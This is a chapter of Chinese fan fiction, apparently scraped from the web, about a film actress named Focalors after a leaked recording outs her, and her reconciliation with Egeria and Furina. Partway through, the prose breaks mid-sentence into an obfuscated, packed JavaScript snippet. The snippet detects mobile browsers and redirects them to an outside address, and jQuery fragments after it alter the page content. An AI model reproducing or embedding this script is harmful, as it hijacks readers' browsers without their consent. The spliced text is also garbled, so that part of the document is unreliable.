04 诗人何为


    还没等夏洛蒂的最新采访发表，“芙卡洛斯是同性恋”的消息就传遍全网。无数个手机有志一同地播放着同一段录音和视频。


    录音开始是嘈杂的，克洛琳德和娜维娅谈论着剧本的声音弱下去，芙宁娜的声音越众而出：“好吧，我知道不能苛求你太多，但是我希望我们的关系能够是你三十岁时的关系，而不是二十岁的。”


    然后是芙卡洛斯迟疑的回答：“我有问过你一个问题吗，无论是二十岁，还是三十岁的时候？我可能没有问过你——女孩和女孩，她们会生出后代吗？”


    她的声音慢慢低下去，像一片羽毛落到水面上。


    视频里则是厄歌莉娅以一种几乎环抱的姿势，半搂着芙卡洛斯。她微微低头在芙卡洛斯耳边说着什么，她们亲密得像在接吻。


    厄歌莉娅在电话里对克洛琳德说：道具组的考普尔我已经开除了。


    但影响恐怕一时半会儿不会消弭了。克洛琳德如此回答。


    芙卡洛斯躺在床上，摸着芙宁娜柔软的毛。猫好像知道她的心情很差，安静地在她身旁打盹。


    “芙卡洛斯同性恋”在热搜上挂了一天一夜，芙卡洛斯也就如此躺了一天一夜。期间“宁芙之梦”、“芙宁娜 那伊阿得斯”“黄金三角再合作”都没把这个热搜拉下来。厄歌莉娅给她打了很多电话，她一个也没有接。只在聊天框里对她说，等夏洛蒂的采访发表吧。


    厄歌莉娅只好去问夏洛蒂。夏洛蒂说，你不知道吗？


    知道什么？厄歌莉娅的心一沉。


    芙卡洛斯坦承了所有……她的IS如何给她造成困扰，她如何同时爱着两个女人。但她没有告诉我是谁，这是当然的，我没有权利去挖掘她们的故事。夏洛蒂的声音从电话里传来，有些失真，连带着她说的内容都一并变得不真实起来。


    厄歌莉娅小心翼翼地问，那你……你是怎么看的呢。


    夏洛蒂想了想说，我很佩服芙卡洛斯的勇敢。尽管我知道，这篇报道发出去后，一定是铺天盖的谩骂和质疑，可她是真实的鲜活的灿烂的，她也许已经做好了面对一切的准备。我们每个人都有义务了解失眠症候群，也都有义务了解爱是怎么一回事。


    谢谢你，厄歌莉娅不知道说什么好，于是只是一直重复，谢谢你。


    挂断电话，夏洛蒂回到桌边继续校对自己的文稿。她看过太多爱憎，因此知晓芙卡洛斯的勇气何等辉煌。


    于是她提笔写道：


    爱轻如鸿毛又摧枯拉朽。


    芙卡洛斯曾对芙宁娜说，不要浪费青春啊，你也需要去别的导演手下走走。


    芙宁娜以一种近乎撒娇的语气说，明明是青春在浪费我。


    芙宁娜，人类世界的小怪物。醉心游宴，随心所欲，不为不感兴趣的事物驻足，不为无意义的社交花费时间。她看起来无忧无虑无病无灾，好像将永远年轻永远充满活力。然而每一个角色都好像从她身上剥去了什么，每一个角色从此都在影像中取得永恒的生命，最终芙宁娜伤痕累累地坐在高高的王座之上，举起酒杯声嘶力竭地呼吁所有观众一齐举杯相庆——


    所有人潮都随着卡门、随着米娅、随着那伊阿得斯离开了。只剩芙卡洛斯坐在台下。是的，只有芙卡洛斯知晓她的青春是如何被角色们瓜分殆尽，只有芙卡洛斯知晓角色背后的芙宁娜是谁。她是人类世界的小怪物。


    芙、宁、娜。每当她轻柔地吐露这个名字时，尾音在空气里震颤，嘴巴微微长成一个圆润的椭圆，芙宁娜感到一片羽毛扫过她的心脏。


    她把她全部的青春都浪费在芙卡洛斯身上，而且甘之如饴。这实在是一件可怕的事。然而，当她意识到这一点时，她已经二十八岁，不再年轻。


    芙卡洛斯又朦朦胧胧地想，那维莱特老师会怎么评价《宁芙之梦》？无论他会写出怎样的影评，都已经不重要了。


    对此刻的芙卡洛斯来说，那伊阿得斯已经活在另一个世界了。她将一身轻松。


    芙卡洛斯迷迷糊糊地听见有人敲门。她起初以为又是她想象出来的幻觉，于是依旧躺在床上一动不动。直到芙宁娜跳过来不依不饶地挠她，她才恍然发觉这是现实。她抱着猫去开门，看到门前站着厄歌莉娅和芙宁娜。


    “事先声明，我们可没有提前约好——只是偶然碰到而已。”芙宁娜说着，从芙卡洛斯手里接过另一只芙宁娜，没等主人点头，便自然地走进门里。厄歌莉娅紧随其后，像没事人一样冲芙卡洛斯点了点头。


    芙卡洛斯有些茫然地眨眼：“夏洛蒂的报道发出来了吗？”


    “是啊，”芙宁娜熟门熟路地从玄关架子上抽出一根猫条撕开，“所以当事人就上门来讨个说法了啊。”


    厄歌莉娅投来歉意的目光。芙卡洛斯莫名地抬头，便听到她以一种不容拒绝的语气说：“芙卡洛斯，我希望你能原谅我。”


    “你是我亲手种下的，在潮湿雨天发芽的树。”厄歌莉娅说。


    她不再当导演的理由很简单：她发现她拍不出那伊阿得斯。她总是梦到那伊阿得斯，可她的面容是模糊的。直到她遇到芙卡洛斯，将这个梦托付了出去。


    “是的，我们的第一次见面，比你以为的早得多。”厄歌莉娅说。


    “大一的时候，我去福利院做志愿服务。那个时候我看到了你：那一瞬间我知道了，那伊阿得斯是谁。而且我也知道了，那伊阿得斯就存于此世，我根本不可能再让她回到封闭的影像世界之中。于是，我给所有的孤儿讲了一个名为那伊阿得斯的故事。


    “在那个雨天我种下了这个故事。我希望你能接过我的衣钵，实现我的梦想。如今，你真的实现了。


    “可是，我才发现我是何等自私——我将那伊阿得斯抛给了你。而我却逃跑了，因此活得轻松。你却背负着那伊阿得斯爬了那么久、那么久，早已疲惫不堪。


    “我如此懦弱。我没有信心与全世界对抗，所以我藏匿了感情，梦想，恋人，去狡兔酒吧当调酒师，以为这样就能逃得远远的。


    “我并不奢求你能原谅我。但是，如果说我的私心结出了什么果实的话，我希望你度过了不会后悔的半生。”


    芙卡洛斯恍惚地想，这也是梦吗？也许我是在梦游。她的目光移到一旁两个芙宁娜身上，她们没有说话，只是静静地看着她。那眼神中没有怜悯，也没有同情。她们只是平静地回望她。于是芙卡洛斯便知晓，这并非梦境。


    她说：“我不会原谅你。因为这真的是一段很长、很长的道路。可我也并不认为，只有你背负了此种罪孽。你在不止一片土壤上种下了那伊阿得斯，却只在我这里生根发芽。这说明，那伊阿得斯本来也是我的故事。我们用尽一生，不就是为了说出那个真理吗，那个有关生命的真理？”


    真理是什么？真理就是深蓝色断头台会梦呓。马拉美死于1898年。候鸟每逢秋季飞离西伯利亚。芙卡洛斯在凌晨因为同时爱上两个女人被斩首，在黄昏因为无法入眠而被赦免。东半球在梦游，西半球在醒来。南半球在失眠，北半球在沉梦。人在梦游时说着真理，在醒来时一忘而空，在失眠时堕入虚无。于是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099064|163753||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最疯癫的愚人最清醒，最明理的智者最荒谬。已死的魂灵们高高举起酒杯——


    而诺瓦利斯说出了真理：“当我们梦见自己做梦，说明我们就要醒来。”


    焚书年代，童话是漂浮在大街小巷里的吗，还是被压在黑漆漆的矿层之下，等待千百年后的爆破？1876年，马拉美写作《牧神的午后》的那个午后，是怎样一个午后？有柔和的黄金的飞鸟掠过他的窗前，还是淅淅沥沥的小雨伴着笔尖？梦游的时候，淡水水母会对海水过敏吗？咸水鳄鱼的眼泪是什么味道的？以时速八百公里撞击水母，水母会撕裂柔软的身体，变成缓慢炸开的烟花吗？鳄鱼拍不出理想的那伊阿得斯，会搁浅在宇宙的褶皱里吗？


    芙卡洛斯对你们任何一个人来说，产生意义了吗？除了用一天就能看完的半生，她是这个世界这个宇宙被接纳的成员了吗？


    厄歌莉娅说：“我喜欢她很久很久。我从见到她的第一眼就知道，她是我的那伊阿得斯。可那会儿我根本不了解她甚至不知道她姓甚名谁。我不知道我迷恋她什么。”


    芙宁娜回答道：“爱就是这样不知所谓的东西。”


    所以芙卡洛斯对你们任何一个人来说，产生意义了吗？除了用一天就能看完的半生，她是这个世界这个宇宙被接纳的成员了吗？


    黄昏时所有高脚杯里都盛满了鳄鱼的眼泪，因为太阳每日郑重其事的死亡都需要郑重其事的悼念。有一万个港口在最后一次日落里沉没，直到新的晨雾把湿润的空气吹到世界各地。我在梦游时一口气喝掉杯中眼泪，坐在港口吹着海风想，女孩和女孩，她们会生出后代吗？


    芙卡洛斯给芙宁娜看自己标记为IS的笔记。


    “你是个诗人，而我只是个演员。”芙宁娜说。


    “诗人和演员的本质区别，大概就是咸水和淡水的区别。”芙卡洛斯说，“我知道你对海水过敏，可是没关系，芙宁娜。我会小心翼翼地藏好我的感情的。”


    芙宁娜一时有些啼笑皆非。她想说你藏得太过拙劣，又想说你露马脚是因为IS，但最后她只是说：


    淡水水母不会过敏，咸水鳄鱼不会搁浅。


    海子说：


    众神创造物中只有我最易朽


    带着不可抗拒的死亡的速度


    芙卡洛斯对厄歌莉娅和芙宁娜宣布：等到春天，我要种下十个海子，十个马拉美和十个华兹华斯。


    会收获很多很多诗歌吗。芙宁娜问。


    会收获很多很多爱情吗。厄歌莉娅问。


    芙卡洛斯苦恼地想了想，说，不会，但是全世界都会罹患失眠症候群，于是我们再也不用掩饰，再也不用克制，我们可以在天空下拥吻。


    送走厄歌莉娅和芙宁娜后，芙卡洛斯抱着猫坐到桌前。网上吵成一锅粥，芙卡洛斯毫不在意地戴上耳机，新建文档，敲下标题：失眠症候群。


    这会是一个真正的她一生的故事吗？她向前走啊，却总忍不住回头。可当她回头时，梦境与现实却如此紧密地交织在一起，让她恍然以为她的人生不过是一场太过冗长的梦境。


    于是她写：所有的梦都被梦过了，没有人会有多余的梦。


    她的人生也不是什么新奇的故事。她不过是在一遍遍重拍那伊阿得斯。


    耳机里小川範子踩过梶浦由記的旋律，唱着生命的真理：


    愛してる/我爱你


    愛してね/爱着你


    愛されて/请爱我


    good night/晚安


    芙卡洛斯对着窗外的雨说：晚安。